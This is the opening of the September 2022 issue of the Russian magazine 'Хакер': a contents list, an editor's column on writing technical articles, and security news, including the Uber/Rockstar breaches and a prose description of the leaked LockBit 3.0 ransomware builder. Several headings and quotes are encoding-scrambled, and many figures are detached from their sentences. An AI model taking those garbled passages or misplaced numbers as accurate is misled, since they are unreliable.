


сентябрь 2022

№ 282

CONTENTS
Ко лон ка глав реда

Как писать статьи

Са мые важ ные события в мире инфо сека за сен тябрь
MEGANews

По чему Cloudare отка залась защищать сайт, где собира ются трол ли и стал керы
Бан Kiwi Farms

Evil Twin поверх динами чес кой мар шру тиза ции
Атака Базарова

Ко лон ка Дениса Мак рушина
Летние исследования для чемпионов Security

Как работа ет уяз вимость GIFShell
Ядовитые гифки

Бо рем ся с дизас сем бле рами и зат рудня ем реверс прог рамм
Фундаментальные основы хакерства

Изу чаем методы переда чи дан ных при пен тестах
Инфильтрация и эксфильтрация

Рас кру чива ем дос туп к MS SQL до пол ного зах вата машины
HTB StreamIO

Ло маем веб-при ложе ние на Flask
HTB Noter

Под меня ем пакет NPM для зах вата хос та
HTB Seventeen

Про ходим цепоч ку докер-кон тей неров для зах вата хос та
HTB Talkative

Раз бира емся с WireGuard и дела ем свой умный VPN
Trickster VPN

Изу чаем новые спо собы защиты дан ных в пос ледней iOS
iOS 16

Де лаем веб-сер вер на iOS и кача ем видео с youtube-dl
Про Pyto

Как выжить в Windows 2000 в 2022 году
Вперед в прошлое!

Как написать и улуч шить собс твен ный ска нер пор тов
Сканим на Python

ZeroCo0l о перехо де эфи ра на PoS, сек ретных монетах и дешевых виде окар тах
Интервью с майнером

Кто дела ет этот жур нал
Титры



ПОДПИСКА НА «ХАКЕР»

Мы благодарим всех, кто поддерживает
редакцию и помогает нам компенсировать
авторам и редакторам их труд. Без вас
«Хакер» не мог бы существовать, и каждый
новый подписчик делает его чуть лучше.

Напоминаем, что дает годовая подписка:

год доступа ко всем материалам, уже
опубликованным на Xakep.ru;
год доступа к новым статьям, которые
выходят по будням;
полное отсутствие рекламы на сайте
(при условии, что ты залогинишься);
возможность скачивать выходящие
каждый месяц номера в PDF, чтобы
читать на любом удобном устройстве;
личную скидку 20%, которую
можно использовать для продления
годовой подписки. Скидка накапливается
с каждым продлением.

Если по каким-то причинам у тебя еще нет
подписки или она скоро кончится, 

спеши исправить это!

https://xakep.ru/
https://xakep.ru/subscribe/discounts/
https://xakep.ru/wp-admin/users.php?page=paywall_subscribes&from=pdf&subscribe=12_months


КОЛОНКА
ГЛАВРЕДА

Андрей Письменный
Главный редактор

apismenny@gmail.com

HEADER

На писа ние тех ничес ких ста тей — занятие,
в котором я упражня юсь дав но и регуляр -
но. Нас толь ко, что уже могу давать дру гим
советы. Недав но меня поп росили выс -
тупить с ними на кон ферен ции 

, что я и сде лал. А по мотивам мас -
тер-клас са наб росал этот спи сок тех ник
и лай фха ков, которые счи таю самыми важ -
ными.

OFFZONE
2022

1. ÏÈØÈ Î ÒÎÌ, ×ÒÎ ÒÅÁÅ ÈÍÒÅÐÅÑÍÎ

Пер вая статья дает ся тяжелее все го. Одна из при чин в том, что новые авто ры
час то берут слиш ком гло баль ную тему, которой хва тило бы на трех томник, или,
наобо рот, пыта ются рас писать совет, который умес тится в три пред ложения (и
кусок кода в слу чае с «Хакером»). Посове товать готовое решение здесь неп -
росто, но с прак тикой ты научишь ся попадать в нуж ные фор маты.

Дру гая проб лема — слож но писать о том, что тебе уже надо ело. Код,
написан ный в прош лом году, исто рия, которую уже всем рас ска зал, прог -
рамма, которую уже и сам заб росил. Темой нуж но гореть, а пока горишь —
не откла дывать написа ние!

И ни в коем слу чае не под давай ся син дро му самоз ванца. Если ты толь ко
начал раз бирать ся в теме, о которой пишешь, это тоже может быть пре иму -
щес твом: ты на все смот ришь све жим взгля дом и еще пом нишь, обо что спо -
тыка ются нович ки. А работая над стать ей, ты сис темати зиру ешь и углу бишь
свои зна ния.

2. ÎÏÈÑÛÂÀÉ ÄÅÉÑÒÂÈß, À ÍÅ ÎÁÚÅÊÒÛ

Ес ли ты прос то возь мешь и опи шешь какую-то вещь (про токол, фор мат,
устрой ство), то получит ся скуч ная справ ка, а не статья. Най ди проб лемати ку,
и все ста нет куда веселее. Напиши о сво ем опы те или о том, как решать кон -
крет ную задачу.

От личный инди катор того, что статья вый дет ста тич ной и зануд ной, —
заголо вок, в котором нет гла гола, то есть дей ствия. Поэто му какой-то вре мен -
ный заголо вок сто ит написать с самого начала. Заод но поможет луч ше очер -
тить тему.

3. ÍÀ×ÈÍÀÉ Ñ ÑÓÒÈ

Лю бимый при ем некото рых авто ров — начать с какого-нибудь до боли оче вид -
ного утвер жде ния. Не сто ит так делать. Начинай сра зу с сути! И писать,
и читать такой текст будет лег че.

Ког да допишешь статью, вер нись в начало и добавь лид — абзац, который
будет сооб щать читате лю, зачем тра тить вре мя на чте ние все го осталь ного.
Что человек узна ет из тек ста? Чему научит ся? Где при годят ся эти зна ния?
Почему тема кру та и акту аль на? Все это поможет ему не скрол лить статью
в попыт ках узнать ответ самос тоятель но.

4. ÍÅ ÑÒÀÐÀÉÑß ÇÂÓ×ÀÒÜ ÓÌÍÅÅ

Же лание зву чать более уве рен но не тянет на смер тный грех, но вынуж дает
авто ра сти лизо вать текст под что-то, чем он быть не дол жен. Сре ди любимых
ори енти ров: науч ная работа, полицей ский про токол и ста рин ное пись мо.

Яв ный мар кер пер вого — уто митель ная избы точ ность и сло ва вро де «явля -
ется» и «дан ный». Вто рого — «в следс твие». Любите лей ста рины выда ют сло -
веч ки вро де «ибо» и «покуда». А иног да текст перек люча ется меж ду эти ми
режима ми про изволь но.

Тех ничес кие статьи луч ше все го писать прос тым и понят ным язы ком —
поч ти раз говор ным, но более склад ным. Любые укра шения ско рее помеша ют
вос при нимать и без того гру зящее мозг содер жимое (а по неопыт ности, ско -
рее все го, еще и вый дут кри во). Так зачем усложнять себе жизнь?

5. ÏÎÉÌÈ, ÏÎ×ÅÌÓ ÎÑÒÀÍÎÂÈËÑß

Что делать, если работа вста ла и никак не идет даль ше? Убрать ся в ком нате,
пос мотреть сери аль чик и выпить пив ка — неп равиль ные отве ты. Единс твен -
ный про дук тивный спо соб прок расти нации — еще раз перечи тать написан ный
текст.

Ес ли и пос ле это го мысль не приш ла, то задумай ся: какой информа ции
тебе может не хва тать, что бы про дол жить? Что было бы полез но знать? Иног -
да дос таточ но одно го зап роса в Google, и дело сра зу сдви нет ся с мер твой точ -
ки.

Бы вает и так, что прос то не получа ется сфор мулиро вать пред ложение. Поп -
робуй написать начер но, пометив этот учас ток любым удоб ным обра зом.
Зачас тую чер новой вари ант ока зыва ется очень бли зок к чис товому, или нуж ная
фор мулиров ка сама при дет к тебе при оче ред ном перечи тыва нии.

Ну и в кон це кон цов, не забывай, что ты можешь дей стви тель но устать.
Написа ние ста тей — интенсив ный мыс литель ный про цесс, который
за четыре-пять часов силь но исто щает мозг. Зато пос ле про гул ки или сна под -
созна ние может само родить решение проб лемы. Глав ное — не забудь вер -
нуть ся к работе!

6. ÁÓÄÜ ×ÅÑÒÍÛÌ Ñ ×ÈÒÀÒÅËÅÌ

Сре ди более опыт ных авто ров попада ются хит рецы, которые вмес то допол -
нитель ного ресер ча научи лись акку рат но обхо дить мес та, где им не хва тило
зна ний. Редак тор, конеч но, сра зу замеча ет такие манев ры. Воз можно,
и читатель тоже. Либо (что еще хуже) нач нет мотать текст туда-сюда и удив -
лять ся, почему о каком-то важ ном момен те ничего не ска зано.

Бы вает и так, что прос то забыва ешь дать нуж ные пояс нения. Поэто му
рекомен дую, перечи тывая статью, думать о том, какие воп росы могут воз -
никнуть у раз ных читате лей и можешь ли ты дать на них отве ты в тек сте. Если
не можешь даже с допол нитель ными уси лиями, то так и напиши. Отсутс твие
отве та иног да тоже ответ.

Есть и более мел кий, но не менее досад ный вид неточ ностей — те,
которые пря чут ся за сло вами типа «доволь но», «некото рый», «отно ситель но».
При веди вмес то рас плыв чатой оцен ки точ ные дан ные, и текст от это го выиг -
рает.

7. ÂÛÊÈÄÛÂÀÉ ÂÑÅ ËÈØÍÅÅ

Клас сичес кий совет по редак туре — убрать все, что не несет смыс ла и не
помога ет рас крыть тему. Это работа ет сра зу на нес коль ких уров нях: лиш ними
быва ют сло ва, пред ложения или целые абза цы.

Нач нем с абза цев. «Воду» ты, ско рее все го, заметишь, а если нет, то
редак тор лег ко сце дит ее. Более слож ный слу чай — ког да текст ходит по теме
кру гами. Тог да нуж но убрать пов торы, а осталь ное перес тавить в логичес ком
поряд ке.

Пов торы встре чают ся и на уров не пред ложений. Если написал «дру гими
сло вами» — воз можно, есть смысл оста вить толь ко иду щий даль ше вто рой,
более ясный вари ант объ ясне ния. Заод но воз держись от напоми наний, что
что-то уже было выше или что читатель может уже знать изло жен ные фак ты.

Что до лиш них слов, то их в основном пло дит кан целяр ский стиль. Если
что-то мож но ска зать одним сло вом — ска жи одним, а не дву мя-тре мя! Очень
час тый при мер: «для того, что бы» всег да мож но заменить на «что бы».

8. ÇÀÏÈÑÛÂÀÉ ÈÄÅÈ

Что, если ты пишешь что-то одно, а в голову при ходит мысль, которая отно сит -
ся к сов сем дру гой час ти статьи? Ни в коем слу чае не теряй ее, она может
не посетить тебя сно ва!

Луч ше все го дописать до точ ки, а затем пой ти и быс тро сде лать замет ку
при мер но в нуж ном мес те тек ста или прос то чер кануть в кон це. Потом вер -
нешь ся к ней и рас пишешь под робнее. У меня к середи не статьи обыч но
собира ется чуть ли не поаб зацный план вто рой полови ны. Оста ется толь ко
сор тировать замет ки в логичес ком поряд ке и добав лять пояс нения.

Ос тавляя работу до дру гого раза (осо бен но если он будет не на сле дующий
день), всег да выг ружай из головы все цен ные пла ны и идеи. Может казать ся,
что память не под ведет, но замет ка всег да надеж нее.

9. ÏÐÀÊÒÈÊÓÉÑß ÁÎËÜØÅ!

Что бы луч ше что-то делать, нуж на прак тика. Пра вило про десять тысяч часов
в слу чае с написа нием ста тей работа ет так же, как и для дру гих занятий.

Хо рошая новость: тех ничес кому спе циалис ту вов се не обя затель но быть
клас сным писате лем, что бы пуб ликовать ся! В «Хакере» боль шую часть тек стов
пишут новые авто ры, которые хотят прос то поделить ся сво ими зна ниями. Мы
ста раем ся доводить тек сты до ума силами редак ции или хотя бы совету ем, что
и как улуч шить.

Ес ли при думал тему для «Хакера» и готов
садить ся за работу, опи ши идею парой пред -
ложений и отправь мне на . Если
тема нам под ходит, я выш лю усло вия и допол -
нитель ные рекомен дации.

pismenny@glc.ru

Пос тоян ным же авто рам рекомен дую брать в руки diff и срав нивать вари анты
до и пос ле редак туры. За каж дой прав кой сто ят какие-то сооб ражения,
о которых ты можешь веж ливо поин тересо вать ся и узнать что-то новое.

mailto:apismenny@gmail.com
https://xakep.ru/offzone-2022-conf/
http://mailto:pismenny@glc.ru/
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В этом месяце: ком пании Uber и Rockstar Games взло -
мал 17-лет ний под росток, в сеть сли ли бил дер вымога теля
LockBit, сре ди хакеров рас простра няет ся кряк нутая вер сия
инс тру мен та Brute Ratel, дес ктоп ное при ложе ние Microsof t
Teams хра нит токены откры тым тек стом, иссле дова тель
про демонс три ровал «неис пра вимый» экс пло ит
для PlayStation, вышел обновлен ный Winamp 5.9, а так же
дру гие важ ные события месяца.

ВЗЛОМ UBER И
ROCKSTAR GAMES
Сен тябрь озна мено вал ся сра зу дву мя круп ными взло мами, от которых пос тра -
дали ком пании Uber и Rockstar Games. Очень похоже, что за эти ми ата ками
сто ял один и тот же под росток.

Пер вой от ком про мета ции , и зло умыш ленник
охот но поделил ся со СМИ скрин шотами внут ренних сис тем жер твы. Судя
по ним, он получил пол ный дос туп ко мно гим кри тичес ки важ ным сис темам
Uber, вклю чая защит ное ПО ком пании и домен Windows.

пос тра дала ком пания Uber

Так же взлом щик доб рался до кон соли Amazon Web Services, вир туаль ных
машин VMware vSphere/ESXi, панели адми нис тра тора элек трон ной поч ты
Google Workspace и сер вера Slack, на котором пуб ликовал сооб щения, и bug
bounty прог раммы ком пании на HackerOne.

Жур налис там нес коль ких изда ний уда лось пооб щать ся с хакером, и тот пох -
вастал ся, что ему все го 18 лет и он взло мал Uber, исполь зуя соци аль ную инже -
нерию, так как «у ком пании сла бая безопас ность».

Са мое инте рес ное: ответс твен ность за эту ата ку в Uber воз ложили на учас -
тни ка хак-груп пы Lapsus$, о которой мы . Напом ню, что вес -
ной 2022 года пос ле череды гром ких атак на Nvidia, Samsung, Microsoft и Okta
полиция Лон дона арес товала семь человек в воз расте от 16 лет до 21 года «в
свя зи с рас сле дова нием деятель нос ти хакер ской груп пы».

пи сали не раз

В нас тоящее вре мя все они находят ся под следс тви ем, а двум под рос ткам
предъ явле ны обви нения. Эти арес ты сов пали с объ явле нием о том, что нес -
коль ко чле нов Lapsus$ на вре мя ухо дят в отпуск, и с тех пор активность груп пы
прак тичес ки сош ла на нет.

Но похоже, в Uber счи тают, что пра воох ранитель ные орга ны наш ли далеко
не всех учас тни ков Lapsus$.

Вско ре пос ле Uber ата ке  ком пания Rockstar Games, что при -
вело к одной из круп ней ших уте чек в исто рии игро вой индус трии. В резуль тате
это го взло ма в сеть попали десят ки роликов с гей мпле ем еще не вышед шей
GTA VI (их слил сам хакер), и взлом щик заявил, что украл «исходный код и ассе -
ты GTA V и VI, а так же тес товую сбор ку GTA VI».

под вер глась

При этом зло умыш ленник, скры вающий ся под никами
teapots2022 и teapotuberhacker, утвер жда ет, что имен но он ском про мети ровал
Uber нем ногим ранее. Teapotuberhacker писал, что не ожи дал такого вни мания
и даже хотел «догово рить ся» с Rockstar Games и Take-Two Interactive (изда тель
и вла делец ком пании Rockstar Games), судя по все му — желая пот ребовать
у ком паний день ги.

Од нако мас шта бы этих инци ден тов быс тро прив лекли к слу чив шемуся вни -
мание влас тей и пра воох ранитель ных орга нов, и уже нес коль ко дней спус тя
полиция лон дон ско го Сити сооб щила об арес те 17-лет него под рос тка
из Оксфордши ра. Его обви няют в двух слу чаях наруше ния усло вий осво бож -
дения под залог, а так же в двух компь ютер ных прес тупле ниях. Его имя не рас -
кры вает ся, так как он несовер шенно лет ний.

Пос ле это го мно гие ИБ-экспер ты и извес тный жур налист Мэтью Киз (со
ссыл кой на собс твен ные источни ки) писали, что имен но задер жанный сто ял
за недав ними гром кими взло мами ком паний Uber и Rockstar Games. При этом
Мэтью Киз и его источни ки под твержда ют: арес тован ный под росток —
это учас тник Lapsus$, которо го ранее уже арес товыва ли за взлом Microsoft
и Nvidia.

Из вес тно, что задер жанный сво ей вины пока не приз нал и оста ется
под стра жей.

 ДОМЕНОВ ДЛЯ УДАЛЕНИЯ4 000 000

Сог ласно ста тис тике ком пании Google, количес тво уни каль ных доменов вер хне го уров ня, ссыл -
ки на которые тре буют уда лить пра вооб ладате ли (в соот ветс твии с законом США «Об автор -
ском пра ве в циф ровую эпо ху», DMCA), в этом месяце перева лило за .4 000 000

В общей слож ности за всю «исто рию наб людений» у Google тре бова ли уда ления 
 URL. С такими тре бова ниями к ком пании за про шед шие годы обра щал ся 326 221 пра вооб -

ладатель.

6 мил лиар -
дов

Боль ше все го зап росов, , пос тупило от BPI LTD — British Phonographic
Industry, ассо циации, в которую вхо дят Universal Music UK, Sony Music UK и Warner Music UK.

579,5  мил лиона

БИЛДЕР LOCKBIT
ПОПАЛ В ОТКРЫТЫЙ
ДОСТУП
ИБ-спе циалис ты сооб щили, что бил дер извес тно го шиф роваль щика LockBit
опуб ликован в откры том дос тупе. Судя по все му, LockBit 3.0 слил в сеть
недоволь ный раз работ чик или кон курент одно имен ной груп пиров ки.

На пом ню, что хак-груп па LockBit выпус тила обновлен ную мал варь LockBit
вер сии 3.0 в июне 2022 года и вмес те с этим пред ста вила собс твен ную
вымога тель скую прог рамму bug bounty, пред лагая дру гим зло умыш ленни кам
день ги за инте рес ные уяз вимос ти.

Как теперь сооб щил ИБ-иссле дова тель, извес тный под ником 3xp0rt,
недав но зарегис три рован ный поль зователь Twitter по име ни Ali Qushji утвер -
жда ет, что вмес те с коман дой он взло мал сер веры LockBit и обна ружил там
бил дер шиф роваль щика LockBit 3.0, который и пос пешил слить в откры тый
дос туп.

Пос ле это го дру гой извес тный ИБ-эксперт vx-underground под твер дил, что
еще 10 сен тября с ними свя зал ся поль зователь с ником protonleaks и тоже
поделил ся копи ей того же бил дера. При этом, по сло вам vx-underground, офи -
циаль ный пред ста витель груп пиров ки LockBit утвер жда ет, что никако го взло ма
вооб ще не было, а при ват ный бил дер рас простра няет недоволь ный руководс -
твом хак-груп пы наем ный раз работ чик.

ИБ-спе циалис ты уве рены, что вне зависи мос ти от источни ка этой утеч ки
пуб ликация бил дера LockBit 3.0 в сети, ско рее все го, уве личит количес тво
вымога тель ских атак. Ведь бил дер поз воля ет прес тупни кам быс тро соз давать
исполня емые фай лы, необ ходимые для запус ка собс твен ной кам пании (вклю -
чая сам шиф роваль щик, дешиф ровщик и спе циали зиро ван ные инс тру мен ты).

По сути, инс тру мент сос тоит из четырех фай лов: генера тора клю чей шиф -
рования, самого бил дера, изме няемо го фай ла кон фигура ции и batch-фай ла
для сбор ки всех фай лов. Так, файл cong.json мож но исполь зовать для нас -
трой ки шиф роваль щика, в том чис ле отре дак тировать запис ку с тре бова нием
выкупа, изме нить парамет ры кон фигура ции, перечис лить, какие про цес сы
и служ бы сле дует завер шить, и даже задать управля ющий сер вер, куда мал -
варь будет отправ лять дан ные. То есть нич то не меша ет любым зло умыш -
ленни кам свя зать вре донос со сво ей собс твен ной инфраструк турой.

К сожале нию, прог нозы экспер тов начина ют сбы вать ся. Утек ший бил дер
уже взя ла на воору жение хак-груп па Bl00Dy, пос тро ив с его помощью шиф -
роваль щик, который затем исполь зовал ся для ата ки на неназ ванную укра -
инскую ком панию.

 УТЕКШИХ СТРОК304 000 000

Ле том 2022 года иссле дова тели Group-IB зафик сирова ли двук ратный рост количес тва
выложен ных в откры тый дос туп баз дан ных рос сий ских ком паний (по срав нению с вес ной это го
года).

За три лет них месяца в сеть попало  баз, при чем анти рекорд был пос тавлен в августе —
. Общее количес тво строк всех лет них сли вов рав няет ся при мер но 

.

140
100  уте чек 304  мил -
лионам

Этот анти рекорд экспер ты свя зыва ют с «мега утеч кой», которая вклю чала базы дан ных сра зу 
рос сий ских ком паний. Для срав нения: за всю вес ну текуще го года было опуб ликова но все го 
базы.

75
73

Са мые круп ные утеч ки были зафик сирова ны у ком паний, работа ющих в сфе рах дос тавки —
 строк, онлайн-видео —  строк, медицин ских услуг — 

 строк.
192  мил лиона 43  мил лиона 30  мил -
лионов

ДИЗЛАЙКИ НА
YOUTUBE НЕ
РАБОТАЮТ
Mozilla сооб щает, что кноп ки обратной свя зи на YouTube прак тичес ки
не работа ют. Даже если поль зователь ясно дает понять, что ему что-то не нра -
вит ся, подоб ные рекомен дации все рав но про дол жают пос тупать.

Что бы соб рать дан ные, свя зан ные с реаль ными видео и поль зовате лями,
иссле дова тели Mozilla прив лекли к иссле дова нию доб роволь цев, которые при -
меня ли бра узер ное рас ширение RegretsReporter. Оно нак ладыва ет
на YouTube-ролики, которые прос матри вают поль зовате ли, общую кноп ку
«Прек ратить рекомен довать». При этом на бэкен де поль зовате лей зачис ляют
в слу чай ную груп пу, и каж дый раз, ког да они нажима ют эту общую кноп ку,
на YouTube отправ ляют ся раз ные сиг налы: «Не нра вит ся», «Не инте ресу ет», «Не
рекомен довать этот канал», «Уда лить из исто рии». Так же из поль зовате лей
обра зует ся кон троль ная груп па, от которой на YouTube не пос тупа ет никакой
обратной свя зи.

Ис поль зуя дан ные, соб ранные из 500 мил лионов рекомен дован ных видео,
иссле дова тели соз дали более 44 тысяч пар видео — одно «откло нен ное»
видео и видео, впос ледс твии рекомен дован ное YouTube. Затем иссле дова тели
оце нива ли эти пары или исполь зовали машин ное обу чение, что бы решить,
была ли рекомен дация похожа на видео, которое ранее уже откло нил поль -
зователь.

Как показа ло срав нение с кон троль ной груп пой, отправ ка сиг налов «Не нра -
вит ся» и «Не инте ресу ет» прак тичес ки неэф фектив на и не пре дот вра щает
нежела тель ные рекомен дации от YouTube (было пре дот вра щено лишь 12%
из 11% нежела тель ных рекомен даций). Кноп ки «Не рекомен довать канал»
и «Уда лить из исто рии» ока зались чуть более эффектив ными — они пре дот вра -
тили 43% и 29% нежела тель ных рекомен даций. Одна ко иссле дова тели под -
черки вают, что инс тру мен тов, которые пред лага ет YouTube, недос таточ но, что -
бы изба вить ся от нежела тель ного кон тента.

« »
«YouTube äîë æåí óâà æàòü îòçû âû ïîëü çîâàòå ëåé, ðàñ ñìàò ðèâàÿ èõ
êàê çíà ÷èìûå ñèã íàëû î òîì, êàê ëþäè õîòÿò ïðî âîäèòü ñâîå âðå ìÿ
íà ïëàò ôîðìå», — ïèøóò èññëå äîâà òåëè.

Пред ста витель YouTube Еле на Эрнандес (Elena Hernandez) объ ясня ет, что
такое поведе ние плат формы пред намерен но, пос коль ку YouTube вов се
не пыта ется отсе кать весь кон тент, свя зан ный с какой-либо темой. При этом
Эрнандес рас кри тико вала отчет Mozilla, заявив, что в нем не учи тыва ется,
как устро ены эле мен ты управле ния YouTube.

«

»

«Âàæ íî, ÷òî íàøè ýëå ìåí òû óïðàâëå íèÿ íå îòôèëü òðî âûâà þò öåëûå
òåìû èëè òî÷ êè çðå íèÿ, òàê êàê ýòî ìîæåò èìåòü íåãàòèâ íûå ïîñ ëåäñ -
òâèÿ äëÿ çðè òåëåé, ñîç äàâàÿ „ýõî‑êàìåðû“, — ãîâîðèò Ýðíàíäåñ. — Ìû
ïðè âåòñ òâó åì àêà äåìè ÷åñ êèå èññëå äîâà íèÿ íà íàøåé ïëàò ôîðìå,
ïîýòî ìó íåäàâ íî ìû ðàñ øèðèëè äîñ òóï ê Data API ÷åðåç èññëå äîâà òåëü -
ñêóþ ïðîã ðàììó YouTube. Íî â îò÷å òå Mozilla íå ó÷è òûâà åòñÿ, êàê íà
ñàìîì äåëå ðàáîòà þò íàøè ñèñ òåìû».

По ее сло вам, опре деле ние «похоже го», которое исполь зует Mozilla, не при -
нима ет во вни мание, как устро ена сис тема рекомен даций на YouTube. По сло -
вам Эрнандес, фун кция «Неин терес но» уда ляет кон крет ное видео, а кноп ка
«Не рекомен довать этот канал» пре дот вра щает рекомен дации с кон крет ного
канала в будущем. Она объ ясня ет, что в таких слу чаях YouTube вов се не стре -
мит ся вооб ще прек ратить рекомен дации любого кон тента, свя зан ного с кон -
крет ной темой, мне нием или спи кером.

БИБЛИОТЕКА С ГОЛОСАМИ ПРЕСТУПНИКОВ

На Вос точном эко номи чес ком форуме зам пред прав ления Сбер банк Ста нис лав Куз нецов рас -
ска зал, что с начала треть его квар тала 2022 года банк отра зил свы ше , а это
боль ше, чем за пос ледние  лет сум марно.При этом ата кам под верга ется не толь ко сам банк,

но и его поль зовате ли. Так, к основным видам наруше ний на сегод няшний день мож но отнести
фишинг и телефон ное мошен ничес тво, и с ними в Сбер банке борют ся, в том чис ле при помощи
биб лиоте ки с голоса ми прес тупни ков.

450 DDoS-атак
5

→ «Важ но, как мы про тивос тоим [ата кам], какими лич ными раз работ ками мы
поль зуем ся. Одной из них явля ется исполь зование биб лиоте ки голосов прес -
тупни ков, биб лиоте ки голосов мошен ников. И имен но эта биб лиоте ка нам
сегод ня помога ет прод винуть ся дос таточ но уве рен но впе ред по про тиво дей -
ствию телефон ному мошен ничес тву. Мы для себя обна ружи ли сле дующий
тренд. Видимо, мошен ники каким-то обра зом понима ют, что они уже ста новят ся
на кон троль, и они ухо дят из „Сбе ра“. То есть эти прес тупни ки, голоса которых
записа ны в нашей биб лиоте ке, фак тичес ки ухо дят из „Сбе ра“ и от кли ентов
„Сбе ра“ и тар гетиру ют свои уси лия на кли ентах дру гих кре дит ных орга низа ций»,

— рас ска зал Куз нецов, добавив, что в нас тоящее вре мя биб лиоте ка нас читыва ет при мер но
тысячу голосов.

Продолжение статьи →

mailto:nefedova@glc.ru
https://xakep.ru/2022/09/16/uber-compromised/
https://xakep.ru/2022/03/29/lapsus-story/
https://xakep.ru/2022/09/19/gta-vi-leak/
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PAYPAL VS FLIPPER
ZERO
Раз работ чики «хакер ско го тамаго чи» Flipper Zero рас ска зали, что уже два
месяца не могут вер нуть 1,3 мил лиона дол ларов, которые оста лись на заб -
локиро ван ном без ука зания при чин PayPal-акка унте про екта. Что про исхо дит,
не может объ яснить даже под дер жка PayPal, и раз работ чики говорят, что про -
изводс тво Flipper Zero под угро зой.

На пом ню, что в 2020 году на Kickstarter соб рали рекор дные 4 882 784 дол -
лара на про изводс тво «хакер ско го тамаго чи» и край не инте рес ного муль титула
Flipper Zero, о соз дании которо го мы тог да  с одним из его авто ров
Пав лом Жов нером.

по гово рили

В начале 2022 года учас тни ки Kickstarter-кам пании ста ли получать свои
гад жеты, а в июне наконец стар товала откры тая про дажа Flipper Zero. Вско ре
пос ле это го биз нес-акка унт PayPal заб локиро вали, о чем раз работ чики сооб -
щили в офи циаль ном Twitter про екта.

Ко ман да Flipper Zero рас ска зыва ет, что око ло полови ны покупа телей выб -
рали PayPal в качес тве спо соба опла ты (так же заказ мож но было опла тить бан -
ков ской кар той нап рямую), но уже через нес коль ко дней PayPal ини цииро вал
про вер ку акка унта. «Они поп росили какие-то [допол нитель ные] докумен ты,
и мы сра зу их пре дос тавили», — пишет коман да.

За этим пос ледова ло еще нес коль ко зап росов от PayPal, на которые раз -
работ чики так же отве тили, но в ито ге они получи ли лишь сооб щение о пер -
манен тном бане биз нес-акка унта Flipper Zero.

«

»

«Ìû îáðà ùàëèñü â ïîä äåð æêó PayPal, íî äàæå îíè íå ìîãóò ñêà çàòü,

÷åãî èìåí íî îò íàñ õî÷åò êîì ïëà åíñ‑êîìàí äà. Ñåé ÷àñ íàì íóæ íî ïëà -

òèòü çà íîâûå ïàð òèè ïðî äóê öèè, è ýòè äåíü ãè èìå þò ðåøà þùåå çíà -

÷åíèå äëÿ íàøåãî áèç íåñà. Åñëè êòî‑òî èç íàøåãî ñîîá ùåñ òâà èìå åò

ïðÿ ìûå êîí òàêòû âíóò ðåííåé êîìàí äû PayPal è ìîæåò êàê‑òî ïîâ ëèÿòü

íà ñèòó àöèþ, ìû ïðî ñèì âàøåé ïîìîùè», — ãëà ñèò îôè öèàëü íîå îáðà -

ùåíèå ñîç äàòåëåé Flipper Zero.

ОТКАЗОУСТОЙЧИВОСТЬ РУНЕТА
Эк спер ты Qrator Labs уже в седь мой раз изу чили вли яние воз можных сбо ев сетей сис темо -
обра зующих опе рато ров свя зи на гло баль ную дос тупность наци ональ ных сег ментов интерне -
та. Выяс нилось, что в 2022 году Рос сия потеря ла сра зу  позиций, смес тившись на  мес то
в топ-20.

8 10-е

Ес ли в 2016 году для попада ния в топ-20 дос таточ но было иметь про цент потен циаль ного
отка за сетей чуть более , то сей час даже показа теля в  уже недос таточ но, что бы ока -
зать ся в лидерах.

8% 6,5%

В мире явно прос лежива ется тен денция повыше ния отка зоус той чивос ти: сред ний показа тель
надеж ности улуч шился с  до .35,84% 26,7%

Рей тинг отка зоус той чивос ти интерне та в целом дос таточ но ста биль ный показа тель раз вития
свя зи уже мно го лет под ряд, и в 2022 году в нем про изош ло сра зу нес коль ко зна читель ных
изме нений. Клю чевые таковы:

Та иланд вышел из топ-20;

Ис пания выш ла из топ-20;

США выш ли из топ-20;

Тай вань выш ла из топ-20;

Ир ландия, Бель гия и Гон конг вновь вош ли в топ-20 пос ле того, как покину ли рей тинг
в 2021 году;

Сей шелы впер вые вош ли в топ-20.

В Рос сии про цент потен циаль ного отка за сетей неп рерыв но воз раста ет уже в течение  лет.
По мне нию ана лити ков, это точ но свя зано с про дол жающи мися про цес сами как орга низа цион -
ной, так и тех ничес кой кон солида ции отрасли. Поэто му веро ятность того, что в 2023 году Рос -
сия тоже покинет топ-20, доволь но высока.

4

При этом в Рос сии находит ся  из круп ней ших в мире точек обме на тра фиком — MSK-IX,
охва тыва ющая  городов-мил лион ников. Как пишут экспер ты, это еще раз под твержда ет, что
РФ не исполь зует име ющий ся у нее колос саль ный потен циал по связ ности в пол ной мере.

шес тая
7

ВЫШЕЛ WINAMP 5.9
В сен тябре про изош ло событие, в реаль ность которо го было бы слож но
поверить еще пару лет назад: на сай те Nullsoft опуб ликова ли финаль ную вер -
сию Winamp 5.9, которая теперь дос тупна всем жела ющим.

За дол гие годы сво его сущес тво вания Winamp про делал слож ный путь и не
раз перехо дил от одной ком пании к дру гой. Так, ком панию Nullsoft, соз давшую
Winamp, еще в 1999 году при обре ла AOL, которая и под держи вала пле ер
на про тяже нии мно гих лет. Затем в 2013 году раз работ ку прог раммы, уже рас -
теряв шей немалую долю сво ей популяр ности, решили прек ратить, сайт
Winamp.com зак рылся (пос ледней вер сией ста ла 5.666), а пра ва на Winamp
в 2014 году выкупи ла бель гийская ком пания Radionomy, занима ющаяся
интернет-ради ове щани ем.

С тех пор никаких новос тей о меди апле ере поч ти не пос тупало. Лишь
осенью 2018 года пред ста вите ли Radionomy неожи дан но сооб щили, что
в 2019 году Winamp пре обра зит ся, ста нет луч ше и вер нется в строй. Раз работ -
чики заяв ляли, что намере ны сде лать Winamp уни вер саль ным решени ем
для прос лушива ния все го — под кастов, радио, плей лис тов и так далее.

Кро ме того, в сен тябре 2018 года поль зовате ли обна ружи ли в сети утек -
шую бета-вер сию Winamp 5.8, где были исправ лены некото рые баги и появи -
лась под дер жка Microsoft Audio. Тог да было не сов сем ясно, отку да взя лась
новая вер сия и кто сто ял за ее раз работ кой. Но вско ре гла ва Radionomy Алек -
сандр Сабун джан (Alexandre Saboundjian) про яснил, что над Winamp
5.8 работа ла имен но Radionomy. Новая вер сия содер жит исправ ления для раз -
личных багов, в том чис ле каса ющих ся сов мести мос ти с Windows 10, а так же
уби рает из меди апле ера все плат ные фун кции, внед ренные в Winamp рань ше.

К сожале нию, обе щан ного релиза обновлен ного Winamp в 2019 году поль -
зовате ли так и не дож дались, а вер сия Winamp 5.8 на про тяже нии четырех лет
так и оста валась самой новой. Тем не менее в кон це прош лого года сайт
Winamp.com неожи дан но пре тер пел кар диналь ный редизайн и на нем появил -
